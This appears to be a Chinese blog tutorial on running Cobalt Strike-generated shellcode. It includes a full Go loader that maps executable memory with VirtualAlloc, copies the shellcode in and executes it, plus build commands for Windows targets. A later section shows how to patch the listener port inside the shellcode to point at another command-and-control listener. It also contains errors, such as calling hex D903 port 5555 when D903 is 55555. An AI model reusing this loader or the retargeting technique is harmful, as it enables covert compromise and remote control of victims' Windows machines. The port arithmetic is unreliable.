浅谈cs的shellcode的使用方法

前言:学习心得,大佬勿喷

看完本文你会了解到:

1、cs中的shellcode是做什么的?

2、用类似于cs、msf生成的shellcode的加载器是什么样的?

3、windows api是什么?

4、怎样从msf及cs生成的shellcode里直接修改监听ip和监听端口?

准备工作

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

使用cs生成一个c的payload

1

这个文件里面就是一段shllcode。

2

接下来我们从编写shellcode加载器开始到运行上线CS来分析一下这个shellcode做了什么。

0x01 shellcode加载器介绍及cs上线操作

要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,那么什么是shellcode加载器呢?

我们知道在计算机中无论什么程序到最后都会转换成二进制代码让CPU去运行,而CPU是负责运算和处理的,内存是交换数据的,没有内存,CPU就没法接收到数据。内存是计算机与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的。

所以shellcode加载器就是为shellcode申请一段内存然后把shellcode加载到内存中让机器执行这段shellcode,也就是说这个加载器就是个让shellcode运行起来的东西(这不是废话么)。下面我复制粘贴了段go语言的shellcode的加载器,我们可以用这歌加载器来上线windows机器。

package main

import (
    _"io/ioutil"
    "os"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")         //调用kernel32.dll
    ntdll         = syscall.MustLoadDLL("ntdll.dll")            //调用ntdll.dll
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")       //使用kernel32.dll调用ViretualAlloc函数
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")         //使用ntdll调用RtCopyMemory函数
    shellcode_buf = []byte{
        // 你的shellcode,0x3f, 0x2e...格式的
    }
)

func checkErr(err error) {
    if err != nil {       //如果内存调用出现错误,可以报出
        if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报
            println(err.Error()) //报出具体错误
            os.Exit(1)
        }
    }
}

func main() {
    shellcode := shellcode_buf

    //调用VirtualAlloc为shellcode申请一块内存
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        checkErr(err)
    }

    //调用RtlCopyMemory来将shellcode加载进内存当中
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)

    //syscall来运行shellcode
    syscall.Syscall(addr, 0, 0, 0, 0)
}

在shellcode_buf里面放好前面cs生成的c的payload时后来编译运行。

windows机器上正常编译,MacOS与linux机器或者其他操作系统上运行下面这段代码来编译。

CGO_ENABLED=0 GOOS=windows  go build main.go
3

这行自行脑补一张win10打开main.exe的图片。

4

成功上线,这就是我们上线机器的过程,接下来我们来一步步的去分析这个过程事如何实现的

0x02 shellcode加载器所用数据类型及 Windows API 函数大致介绍

[ + ] VirtualAlloc

VirtualAlloc 是 Windows API 函数。该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。包含在 Windows 系统文件 Kernel32.dll 中。

使用详情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

5

调用VirtualAlloc的话需要有四个参数,如文档中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每个参数的介绍如下:

lpAddress:内存指针,规定开始的地方。

dwSize:要用内存的大小。

flAllocationType*:内存类型,规定要怎么去用这块内存

flProtect:内存属性

[ + ] RtlMoveMemory

RtlCopyMemory是 Windows API 函数。该函数可以从指定内存中复制内存至另一内存里。简称:复制内存。它包含在 Ntdll.dll 中

6

调用 RtlMoveMemory 的话需要三个参数,如文档中提到的Destination、Source、Length,其中每个参数的介绍如下:

Destination:指向要复制字节的目标内存块的指针。

Source:指向要复制字节的源内存块的指针。

Length:从源复制到目标中的字节数。

[ + ] uintptr*

整型,可以足够保存指针的值得范围

[ + ] syscall*

系统调用。syscall包包含一个指向底层操作系统原语的接口,它接收4个参数,其中trap为中断信号,a1,a2,a3为底层调用函数对应的参数。具体用法为:

syscall.Syscall(trap, a1, a2, a3 uintptr)

其中用不到的补0就行。

[ + ] golang调用windows api

参考文章:https://www.jianshu.com/p/8e454a012cdc。关键词:golang调用windows api(这里主要针对go语言,师傅们可以尝试去写一个其他语言的shellcode加载器,原理都是调用windows api)。

0x03 shellcode加载器代码分析

加载器加载shellcode就是用go调用windows api然后操作内存来实现的。

1. 从入口函数main起看,首先是声明一个shellcode变量并赋值。

shellcode := shellcode_buf

2. 接下来用VirtualAlloc为shellcode申请了一段内存空间。

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

在这行代码中,我们用go语言调用了windpws api中的VirtualAlloc函数,它在 Windows 系统文件 Kernel32.dll 中(0x02开头有官方的函数用法介绍),因此我们在开头有几行代码是调用dll中的函数的

7

继续来看VirtualAlloc函数,这里面有四个参数分别是:

addrlpAddress               <==         0                                               // 内存指针,规定开始的地方。
dwSize                          <==         uintptr(len(shellcode)) // 内存分配的大小,必须得是uintptr型
flAllocationType      <==           MEM_COMMIT|MEM_RESERVE  // 内存类型,规定要怎么去用这块内存,具体见下表
flProtect                       <==         PAGE_EXECUTE_READWRITE  // 内存属性,具体见下下表

MEM_COMMIT|MEM_RESERVE

15

3. 然后调用RtlCopyMemory函数来将shellcode加载进内存当中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

RtlCopyMemory函数对应的三个参数分别是

Destination                 <==         addr变量,指向要复制字节的目标内存块的指针。
Source                          <==                 (uintptr)(unsafe.Pointer(&shellcode[0])),指向要复制字节的源内存块的指针。
Length                          <==                 uintptr(len(shellcode)) 从源复制到目标中的字节数。

4. 最后使用syscall来执行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)           // 用不到的就补0

到这里一个基本的shellcode加载器就实现了,总而言之就是:

申请内存-->把shellcode加载到内存-->让这段内存里的东西运行起来

0x04 从shellcode里直接修改上线IP与端口

一、前奏小知识

1. 端口为什么会是65535个?

在TCP、UDP协议的开头,会分别有16位来存储源端口号和目标端口号,所以端口个数是216-1=65535个。简单来讲端口就是从十六进制的0000-FFFF

8
2. 内存地址是从低地址到高地址记录的

例如

9

一个内存单元比如0x000001可以存放一个字节,比如把55555转换成十六进制就是D903:

10

而一个字节就是D9或者03,在D903中,因为字在寄存器中是这样储存的

11

所以D9属于高位,03属于低位,如果要放在内存里面从0x000001开始的话就是0X000001放着03,0x000002放着D9

二、修改上线IP与端口

假如你生成的端口为5555,把它转换为十六进制就是D903,我们反过来搜03D9就可以了(根据生成shellcode的格式自行搜索,或者只搜索一个D9,然后看它前面的是不是03,如果是的话就说明这俩个字节就是我们的上线端口),这样就确定了监听端口的位置。

12

接下来把要替换的端口号转换成十六进制

13

然后再倒序修改shellcode里面监听的端口号的位置

14

好了,这样就修改成功了,放到加载器去上线吧,修改监听IP,留给大家思考。

求走过路过的大佬的一个小赞

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容